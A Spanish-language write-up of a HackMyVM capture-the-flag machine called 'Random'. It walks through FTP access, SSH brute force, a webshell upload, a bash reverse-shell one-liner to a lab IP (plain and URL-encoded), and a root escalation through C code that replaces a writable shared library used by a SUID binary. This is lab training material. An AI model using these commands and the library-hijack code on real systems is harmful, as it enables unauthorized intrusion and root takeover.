# HackMyVM Random — Linux

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página [https://hackmyvm.eu/machines/](https://hackmyvm.eu/machines/)

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210943285/29a56367-8457-41da-bc04-33a28124aa19.png align="center")

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear `arp-scan` para ver la dirección IP en nuestra red que sería la `192.168.0.18`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210949406/3c480e8d-ce96-4e9d-acee-ba788a69319c.png align="center")

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210962912/920b3deb-8ea1-4504-85d3-79ab834d0468.png align="center")

Empezamos con un escaneo de puertos y podemos ver que tenemos 3 puertos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210968893/3a73e0b1-d81f-488f-9f8c-f68df2cd61e4.png align="center")

Al realizar un escaneo más profundo vemos que para el servicio FTP podemos acceder empleando un usuario anónimo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210977627/2140bc38-1b56-49d2-9912-f7c6ee1716a6.png align="center")

Ingresando al servicio FTP podemos observar un directorio `html`, pero no podemos acceder.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210986610/e800d611-bfb1-4c33-b96f-0d4cb4c59958.png align="center")

Ya que no tenemos más por ese servicio, En el navegador ingresamos la dirección IP y podemos observar que tenemos un texto, del cual podemos identificar 2 posibles usuarios.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736210995288/33a05fb7-7b2d-44db-b93d-4700ef62f964.png align="center")

Probamos con fuerza bruta tanto para `eleanor` y `alan` para el servicio de SSH y podemos observar que tenemos las credenciales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211003436/2fc9f806-63c2-4c1d-8723-5a9f04e926c4.png align="center")

Recordemos que si bien tenemos las credenciales no podemos acceder porque el servicio está deshabilitado para `eleanor`. Así que probamos usando el servicio FTP con esas [credenciales](http://credenciales.De). De esta manera si podemos acceder dentro de la carpeta `html`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211011768/1d7fe993-ad4d-4208-99dc-29a72e38f0f9.png align="center")

Para probar si podemos subir un archivo y si interpreta PHP crearemos un archivo PHP.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211026120/6f8f2740-8190-4cde-bf2f-f7370c0a246e.png align="center")

Probamos subiéndolo, pero nos da un error.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211032179/6d34193f-b73b-43f3-a117-fdba02445c6f.png align="center")

Ya que no tenemos opción, probamos conectándonos por `sftp` y de esta manera si podemos subir el archivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211040992/8e24d29a-5d92-4c45-a827-fdae3b01d19e.png align="center")

Vamos al navegador e ingresamos la dirección del archivo vemos que si lo interpreta, así también podemos tener ya una vía para obtener acceso.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211048306/82e871fe-86be-4abd-94ea-02be1531653a.png align="center")

Para este paso empleamos una reverse-shell que podemos obtener en [pentestmonkey](https://pentestmonkey.net/tools/web-shells/php-reverse-shell).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211058250/e9e7d9a5-a8f5-46a2-b858-f95a3a79d48a.png align="center")

Iniciamos nuestro listener.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211064498/0460bb2b-bbc3-41fe-9979-6d8eb5261d1b.png align="center")

Subimos el archivo que modificamos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211074379/9e97ea9b-c8fc-4141-a422-b95cd98cfa11.png align="center")

Al abrir el rvshell, vemos que no tenemos acceso.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211078943/1c6e72bf-2707-45ee-af3e-87d56e28885d.png align="center")

Probaremos subiendo una webshell simple.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211086400/40cf4682-8691-460d-bda9-bb98c97fa533.png align="center")

Luego de subir este archivo, vamos al navegador y agregamos la dirección junto con el parámetro y podemos observar que tenemos respuesta.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211092814/27640e63-4329-4bb7-8e0f-120b24cf2dad.png align="center")

Ahora agregamos la revshell al URL para poder obtener acceso nuestro código sería:

```bash
bash -c \ "bash -i >& /dev/tcp/192.168.0.61/1234 0>&1\ "'
```

Pero no podemos enviarlo así, ya que suele dar errores en muchas ocasiones por ello lo URL encodeamos y tendríamos de la siguiente manera

```bash
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
```

Enviamos el comando y la página quedará recargando lo cual es una buena señal.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211100240/0cd82c4a-ce2d-4a38-8194-c1e16607c53e.png align="center")

Vamos a nuestro listener y podemos observar que sí obtuvimos conexión.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211114523/27874735-8e19-4691-af43-34ada8fda866.png align="center")

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

```plaintext
script /dev/null -c bash
```

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

```bash
stty raw -echo; fg
				reset xterm
```

para obtener más características usamos

```bash
export TERM=xterm
```

para la variable de entorno

```bash
echo $SHELL
```

y para pasar a bash usamos

```bash
export SHELL=/bin/bash
```

para establecer el tamaño adecuado de la consola ingresamos

```plaintext
stty rows 59 cols 236
```

de esta manera ya nos podemos mover con más libertad en la consola.

Listamos los archivos temporales, pero no vemos nada.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211175731/47f4525c-9f83-4604-94e8-8fa2d2c2ff2f.png align="center")

Revisando los permisos SUID vemos que tenemos un binario llamado `random`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211180820/17930f77-2fd7-4db2-8c37-2521aca66fcc.png align="center")

Ejecutamos el binario y podemos ver que tenemos que ingresar un valor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211186812/75d10f36-5d1b-4948-9f22-1c68c917add3.png align="center")

Probamos ejecutando código aleatorio para tener una `bash`, pero como se ejecuta como el usuario seguimos siendo este. Para tener más idea de como funciona visitar el siguiente link [arbitrary code](https://www.vidarholen.net/contents/blog/?p=716).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211195516/c5a5ae26-92bf-4a73-8864-67fb2d52f704.png align="center")

Para ver más información del archivo lo pasaremos a nuestra máquina para revisarlo. Por ello iniciamos un servidor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211214523/104f88e9-0917-4177-a755-dd26d7ef9698.png align="center")

En nuestra consola, lo descargamos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211221117/0e4bea55-0223-471e-8a2a-312a88e775d3.png align="center")

Abrimos con `Ghidra` y podemos observar que compara el número ingresado por el usuario con un valor generado aleatoriamente. El valor aleatorio se genera usando la función `rand()`, y luego se compara con el número ingresado. Si coinciden, se llama a la función `makemeroot()`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211229202/8e1f051b-3323-4967-adde-b444a53b939c.png align="center")

Tratando de obtener más información vemos que tenemos lo siguiente que podemos ver que hace referencia a que es la librería rooter o algo por el estilo, coincidiendo con la función `makemeroot`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211239475/b90d034f-b5ee-4a6d-b4fd-cc650d47009e.png align="center")

Buscando el archivo y revisando sus permisos podemos observar que podemos reemplazarlo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211264566/c82d6b94-8f5b-443c-ba94-e60b62eae74f.png align="center")

Antes de reemplazarlo verificamos si tenemos `gcc` y es positivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211270612/832d0809-7385-4e86-b1e0-e52019af727f.png align="center")

Ahora creamos un archivo, pero debemos tomar en cuenta que debe llamar a la

```c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h> 

void makemeroot()
{
   setuid(0);
   setgid(0);
   system("/bin/bash");
}
```

Compilamos nuestro archivo y le colocamos el mismo nombre del binario, pero no podemos compilar debido a que nos falta un enlazador o librería compartida.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211280416/b61115ac-2116-4025-8112-e74ee075f4fb.png align="center")

Entonces crearemos el binario en nuestra máquina y luego iniciaremos nuestro servidor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211288208/8e7c7232-f608-442e-ad18-d480b51417b8.png align="center")

Ahora solo descargamos en el mismo directorio.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211298723/e1e1bdac-48a3-4529-8ef7-e68793c3261e.png align="center")

Ejecutamos el binario varias veces, ya que el valor es un número es aleatorio entre el 1 y 9 luego de probar con varios números obtenemos el root. De esta manera culminando esta máquina.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1736211345084/76ffbb7c-7147-4362-b1ce-0b4d4ed0536f.png align="center")
